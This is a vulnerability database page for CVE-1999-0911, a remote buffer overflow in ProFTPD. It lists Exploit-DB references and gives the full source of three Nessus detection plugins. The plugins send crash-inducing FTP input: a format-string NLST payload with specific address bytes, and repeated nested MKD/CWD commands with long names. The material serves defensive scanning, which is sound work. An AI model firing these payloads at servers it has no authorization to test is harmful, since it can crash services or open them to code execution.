Vulnerabilities > CVE-1999-0911 - Remote Buffer Overflow in ProFTPD

047910
CVSS 10.0 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
low complexity
proftpd-project
critical
nessus
exploit available

Summary

Buffer overflow in ProFTPD, wu-ftpd, and beroftpd allows remote attackers to gain root access via a series of MKD and CWD commands that create nested directories.

Exploit-Db

  • descriptionProFTPD 1.2 pre1/pre2/pre3/pre4/pre5 Remote Buffer Overflow (2). CVE-1999-0911. Remote exploit for linux platform
    idEDB-ID:19476
    last seen2016-02-02
    modified1999-08-27
    published1999-08-27
    reporteranonymous
    sourcehttps://www.exploit-db.com/download/19476/
    titleProFTPD 1.2 pre1/pre2/pre3/pre4/pre5 - Remote Buffer Overflow 2
  • descriptionProFTPD 1.2 pre1/pre2/pre3/pre4/pre5 Remote Buffer Overflow (1). CVE-1999-0911. Remote exploit for linux platform
    idEDB-ID:19475
    last seen2016-02-02
    modified1999-08-17
    published1999-08-17
    reporterbabcia padlina ltd
    sourcehttps://www.exploit-db.com/download/19475/
    titleProFTPD 1.2 pre1/pre2/pre3/pre4/pre5 - Remote Buffer Overflow 1

Nessus

  • NASL familyFTP
    NASL idPROFTPD_PRE6_EXPLOIT.NASL
    descriptionIt was possible to crash the remote FTP server by issuing a specially crafted command, such as
    last seen2020-06-01
    modified2020-06-02
    plugin id10191
    published1999-09-21
    reporterThis script is Copyright (C) 1999-2018 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/10191
    titleProFTPD NLST Command Argument Handling Remote Overflow
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
     script_id(10191);
     script_version("1.50");
     script_cvs_date("Date: 2018/11/15 20:50:22");
    
     script_cve_id("CVE-1999-0911");
     script_bugtraq_id(612);
    
     script_name(english:"ProFTPD NLST Command Argument Handling Remote Overflow");
     script_summary(english:"Checks if the remote ftp can be buffer overflowed");
    
     script_set_attribute(attribute:"synopsis", value:"The remote FTP server is affected by a buffer overflow vulnerability.");
     script_set_attribute(attribute:"description", value:
    "It was possible to crash the remote FTP server by issuing a specially
    crafted command, such as 'NLST aaaXXXX%u%[...]%u%u%u%%u%653300u%n'
    where 'XXXX' is replaced with four characters - ASCII values 0xDC,
    0x4F, 0x07 and 0x08. This issue is known to affect ProFTPD version
    1.2.0pre6, although other FTP servers may be affected as well.
    
    It is likely that a remote attacker can leverage this issue to execute
    arbitrary code on the remote host, subject to the privileges under
    which the service runs.");
     script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/1999/Sep/293");
     script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/1999/Sep/314");
     script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/1999/Sep/328");
     script_set_attribute(attribute:"solution", value:
    "If running ProFTPD, upgrade to version 1.2.0pre7 or later; otherwise,
    contact the vendor to see if an update exists.");
     script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
     script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
     script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
     script_set_attribute(attribute:"exploit_available", value:"true");
    
     script_set_attribute(attribute:"plugin_publication_date", value:"1999/09/21");
    
     script_set_attribute(attribute:"potential_vulnerability", value:"true");
     script_set_attribute(attribute:"plugin_type", value:"remote");
     script_set_attribute(attribute:"cpe", value:"cpe:/a:proftpd:proftpd");
     script_end_attributes();
    
     script_category(ACT_MIXED_ATTACK); # mixed
     script_family(english:"FTP");
    
     script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");
    
     script_dependencie("ftpserver_detect_type_nd_version.nasl", "wu_ftpd_overflow.nasl");
     script_exclude_keys("ftp/ncftpd", "ftp/msftpd");
     script_require_keys("ftp/login", "Settings/ParanoidReport");
     script_require_ports("Services/ftp", 21);
    
     exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("ftp_func.inc");
    
    if (report_paranoia < 2) audit(AUDIT_PARANOID);
    
    port = get_ftp_port(default: 21);
    
    # First, we need anonymous access
    login = get_kb_item("ftp/login");
    password = get_kb_item("ftp/password");
    
    banner = get_ftp_banner(port:port);
    
    
    if(!(login) || (safe_checks()))
    {
     if(banner)
     {
       if(egrep(pattern:"^220 ProFTPD 1\.2\.0pre[1-6][^0-9]", string:banner))
       {
         report = string(
           "\n",
           "Note that Nessus has determined the vulnerability exists based solely\n",
           "on the following service banner :\n",
           "\n",
           "  ", banner
         );
         security_hole(port:port, extra:report);
       }
     }
     exit(0);
    }
    
    
    soc = open_sock_tcp(port);
    if (! soc) exit(1);
    
    if (! ftp_authenticate(socket:soc, user:login, pass:password))
      exit(1, "Could not authenticate on the FTP server on port "+port+".");
    
      #
      # Solaris's FTPd won't answer to an NLST until a port has been
      # opened to receive the data.
      #
    send(socket:soc, data:'NLST /\r\n');
    r = ftp_recv_line(socket:soc);
    if (!r) exit(1);
    
      buf = raw_string("aaa", 0xdc, 0x4f, 0x07, 0x08);
      buf = buf + crap(data:"%u", length:72)  + "%653300u%n";
      c = "NLST "+buf+'\r\n';
      send(socket:soc, data:c);
      b = ftp_recv_line(socket:soc);
      if(!b)security_hole(port);
      close(soc);
    
  • NASL familyFTP
    NASL idPROFTPD_OVERFLOW.NASL
    descriptionIt was possible to crash the remote FTP server by creating a large number of nested directories and then trying to upload a file. This issue is known to affect ProFTPD, although other FTP servers may be affected as well. It is likely that a remote attacker can leverage this issue to execute arbitrary code on the remote host, subject to the privileges under which the service runs.
    last seen2020-06-01
    modified2020-06-02
    plugin id10190
    published1999-08-31
    reporterThis script is Copyright (C) 1999-2018 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/10190
    titleProFTPD 1.2.0pre4 mkdir Command Directory Name Handling Remote Overflow
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    #
    # This is not a duplicate of 10189 !
    #
    
    
    include("compat.inc");
    
    if(description)
    {
     script_id(10190);
     script_version("1.46");
     script_cvs_date("Date: 2018/11/15 20:50:22");
    
     script_cve_id("CVE-1999-0911");
     script_bugtraq_id(612);
     
     script_name(english:"ProFTPD 1.2.0pre4 mkdir Command Directory Name Handling Remote Overflow");
     script_summary(english:"Checks if the remote ftp can be buffer overflown");
    
     script_set_attribute(attribute:"synopsis", value:
    "The remote FTP server is prone to a buffer overflow attack.");
     script_set_attribute(attribute:"description", value:
    "It was possible to crash the remote FTP server by creating a large
    number of nested directories and then trying to upload a file.  This
    issue is known to affect ProFTPD, although other FTP servers may be
    affected as well. 
    
    It is likely that a remote attacker can leverage this issue to execute
    arbitrary code on the remote host, subject to the privileges under
    which the service runs.");
     script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/1999/Sep/143");
     script_set_attribute(attribute:"solution", value:
    "Configure the service so that directories are not writable by
    'anonymous' or any untrusted users. 
    
    If running ProFTPD, upgrade to version 1.2.0pre6 or later; otherwise,
    contact the vendor to see if an update exists.");
     script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
     script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
     script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
     script_set_attribute(attribute:"exploit_available", value:"true");
    
     script_set_attribute(attribute:"plugin_publication_date", value:"1999/08/31");
    
     script_set_attribute(attribute:"plugin_type", value:"remote");
     script_set_attribute(attribute:"cpe", value:"cpe:/a:proftpd:proftpd");
     script_end_attributes();
    
     script_category(ACT_DESTRUCTIVE_ATTACK);
     script_family(english:"FTP");
     
     script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");
    		  
     script_dependencie("ftpserver_detect_type_nd_version.nasl", "ftp_writeable_directories.nasl", "wu_ftpd_overflow.nasl");
     script_require_ports("Services/ftp", 21);
     exit(0);
    }
    
    include("global_settings.inc");
    include("misc_func.inc");
    include("ftp_func.inc");
    
    #
    # The script code starts here : 
    #
    
    port = get_ftp_port(default: 21);
    
    login = get_kb_item("ftp/login");
    pass  = get_kb_item("ftp/password");
    
    # Then, we need a writeable directory
    wri = get_kb_item("ftp/"+port+"/writeable_dir");
    if (! wri) wri = get_kb_item_or_exit("ftp/writeable_dir");
    
    nomkdir = get_kb_item_or_exit("ftp/"+port+"/no_mkdir");
    
    banner = get_ftp_banner(port:port);
    if (report_paranoia < 2 && (!banner || "ProFTPD" >!< banner)) exit(0);
    
    soc = open_sock_tcp(port);
    if (! soc) exit(1);
    
    if (! ftp_authenticate(socket:soc, user:login, pass:pass))
      exit(1, "Could not authenticate on port "+port+".");
    
      c = string("CWD ", wri, "\r\n");
      send(socket:soc, data:c);
      b = ftp_recv_line(socket:soc);
      cwd = string("CWD ", crap(100), "\r\n");
      mkd = string("MKD ", crap(100), "\r\n");
      num_dirs = 0;
      for(i=0;i<9;i=i+1)
      {
      send(socket:soc, data:mkd);
      b = ftp_recv_line(socket:soc);
      if(!egrep(pattern:"^257 .*", string:b))
      {
       i = 9;
      }
      else
      {
       num_dirs = num_dirs + 1;
       send(socket:soc,data:cwd);
       b = ftp_recv_line(socket:soc);
       if(!egrep(pattern:"^250 .*", string:b))
        {
         i = 9;
        }
       }
      }
      
      
      port2 = ftp_pasv(socket:soc);
      soc2 = open_sock_tcp(port2);
      if(soc2)
      {
       command = string("STOR ", crap(100), "\r\n");
       send(socket:soc, data:command);
       b = ftp_recv_line(socket:soc);
       send(socket:soc2, data:crap(100));
       close(soc2);
       b = ftp_recv_line(socket:soc);
       command = string("HELP\r\n");
       send(socket:soc, data:command);
       b = ftp_recv_line(socket:soc);
       if(!b){
    	security_hole(port);
       	exit(0);
    	}
      ftp_close(socket:soc);
      
      
      if(!num_dirs)exit(0);
      
      soc = open_sock_tcp(port);
      if(!soc)exit(0);
      ftp_authenticate(socket:soc, user:login, pass:pass);
      for(i=0;i<num_dirs;i=i+1)
      {
       send(socket:soc, data:string("CWD ", crap(100), "\r\n"));
       b = ftp_recv_line(socket:soc);
      }
      
      
      send(socket:soc, data:string("DELE ", crap(100), "\r\n"));
      b = ftp_recv_line(socket:soc);
      send(socket:soc, data:string("CWD ..\r\n"));
      b = ftp_recv_line(socket:soc);
      for(i=0;i<num_dirs; i = i+1)
      {
       send(socket:soc, data:string("RMD ", crap(100), "\r\n"));
       b = ftp_recv_line(socket:soc);
       send(socket:soc, data:string("CWD ..\r\n"));
       b = ftp_recv_line(socket:soc);
      }
      
      ftp_close(socket:soc);
     }
    
  • NASL familyFTP
    NASL idPROFTPD_MKDIR_OVERFLOW.NASL
    descriptionIt is possible to crash the remote FTP service by creating a large number of nested directories with names no longer than 255 chars. This issue is known to affect ProFTPD, although other FTP servers may be affected as well. It is likely that a remote attacker can leverage this issue to execute arbitrary code on the remote host, subject to the privileges under which the service runs.
    last seen2020-06-01
    modified2020-06-02
    plugin id10189
    published1999-09-10
    reporterThis script is Copyright (C) 1999-2018 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/10189
    titleProFTPD mkdir Buffer Overflow
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
     script_id(10189);
     script_version("1.50");
     script_cvs_date("Date: 2018/11/15 20:50:22");
    
     script_cve_id("CVE-1999-0911");
     script_bugtraq_id(612);
    
     script_name(english:"ProFTPD mkdir Buffer Overflow");
     script_summary(english:"Checks if the remote ftp can be buffer overflown");
    
     script_set_attribute(attribute:"synopsis", value:"The remote FTP server is vulnerable to a buffer overflow attack.");
     script_set_attribute(attribute:"description", value:
    "It is possible to crash the remote FTP service by creating a large
    number of nested directories with names no longer than 255 chars. This
    issue is known to affect ProFTPD, although other FTP servers may be
    affected as well.
    
    It is likely that a remote attacker can leverage this issue to execute
    arbitrary code on the remote host, subject to the privileges under
    which the service runs.");
     script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/1999/Aug/337");
     script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/1999/Aug/356");
     script_set_attribute(attribute:"solution", value:
    "Configure the service so that directories are not writable by
    'anonymous' or any untrusted users.
    
    If running ProFTPD, upgrade to version 1.2.0pre6 or later; otherwise,
    contact the vendor to see if an update exists.");
     script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
     script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
     script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
     script_set_attribute(attribute:"exploit_available", value:"true");
    
     script_set_attribute(attribute:"vuln_publication_date", value:"1999/08/27");
     script_set_attribute(attribute:"plugin_publication_date", value:"1999/09/10");
    
     script_set_attribute(attribute:"potential_vulnerability", value:"true");
     script_set_attribute(attribute:"plugin_type", value:"remote");
     script_set_attribute(attribute:"cpe", value:"cpe:/a:proftpd:proftpd");
     script_end_attributes();
    
     script_category(ACT_MIXED_ATTACK); # mixed
     script_family(english:"FTP");
    
     script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");
    
     script_dependencie("ftpserver_detect_type_nd_version.nasl", "ftp_writeable_directories.nasl", "wu_ftpd_overflow.nasl");
     script_require_keys("ftp/login", "ftp/writeable_dir", "Settings/ParanoidReport");
     script_require_ports("Services/ftp", 21);
    
     exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("ftp_func.inc");
    
    if (report_paranoia < 2) audit(AUDIT_PARANOID);
    
    port = get_ftp_port(default: 21);
    
    if(safe_checks())
    {
     banner = get_ftp_banner(port: port);
     if(banner)
     {
       if(egrep(pattern:"^220 ProFTPD 1\.2\.0pre[1-5][^0-9]", string:banner))
       {
         report = string(
           "\n",
           "Note that Nessus has determined the vulnerability exists based solely\n",
           "on the following service banner :\n",
           "\n",
           "  ", banner
         );
         security_hole(port:port, extra:report);
       }
     }
     exit(0);
    }
    
    
    # First, we need anonymous access
    
    login = get_kb_item_or_exit("ftp/login");
    pass  = get_kb_item("ftp/password");
    
    # Then, we need a writeable directory
    wri = get_kb_item("ftp/"+port+"/writeable_dir");
    if (! wri) wri = get_kb_item_or_exit("ftp/writeable_dir");
    
    ovf = get_kb_item("ftp/"+port+"/wu_ftpd_overflow");
    if(ovf)exit(0);
    
    nomkdir = get_kb_item("ftp/"+port+"/no_mkdir");
    if(nomkdir)exit(0);
    
    # Connect to the FTP server
    soc = open_sock_tcp(port);
    if (! soc) exit(1);
    
    if (! ftp_authenticate(socket:soc, user:login, pass:pass))
      exit(1);
    
      num_dirs = 0;
      # We are in
    
      c = string("CWD ", wri, "\r\n");
      send(socket:soc, data:c);
      b = ftp_recv_line(socket:soc);
      cwd = string("CWD ", crap(254), "\r\n");
      mkd = string("MKD ", crap(254), "\r\n");
    
      #
      # Repeat the same operation 20 times. After the 20th, we
      # assume that the server is immune (or has a bigger than
      # 5Kb buffer, which is unlikely
      #
    
    
      for(i=0;i<20;i=i+1)
      {
      send(socket:soc, data:mkd);
      b = ftp_recv_line(socket:soc, retry: 3);
    
      # No answer = the server has closed the connection.
      # The server should not crash after a MKD command
      # but who knows ?
    
      if(!b){
      	security_hole(port);
    	exit(0);
    	}
    
      if(!egrep(pattern:"^257 .*", string:b))
      {
       i = 20;
      }
      else
      {
      send(socket:soc,data:cwd);
      b = ftp_recv_line(socket:soc, retry: 3);
    
      #
      # See above. The server is likely to crash
      # here
    
      if(!b)
           {
      	security_hole(port);
    	exit(0);
           }
    
       if(!egrep(pattern:"^250 .*", string:b))
       {
        i = 20;
       }
       else num_dirs = num_dirs + 1;
       }
      }
      ftp_close(socket:soc);
    
      if(!num_dirs)exit(0);
    
      soc = open_sock_tcp(port);
      if(!soc)exit(0);
    
      ftp_authenticate(socket:soc, user:login, pass:pass);
      send(socket:soc, data:string("CWD ", wri, "\r\n"));
      r = ftp_recv_line(socket:soc);
      for(j=0;j<num_dirs;j=j+1)
      {
       send(socket:soc, data:string("CWD ", crap(254), "\r\n"));
       r = ftp_recv_line(socket:soc);
      }
    
      for(j=0;j<num_dirs + 1;j=j+1)
      {
       send(socket:soc, data:string("RMD ", crap(254),  "\r\n"));
       r = ftp_recv_line(socket:soc);
       if(!egrep(pattern:"^250 .*", string:r))exit(0);
       send(socket:soc, data:string("CWD ..\r\n"));
       r = ftp_recv_line(socket:soc);
      }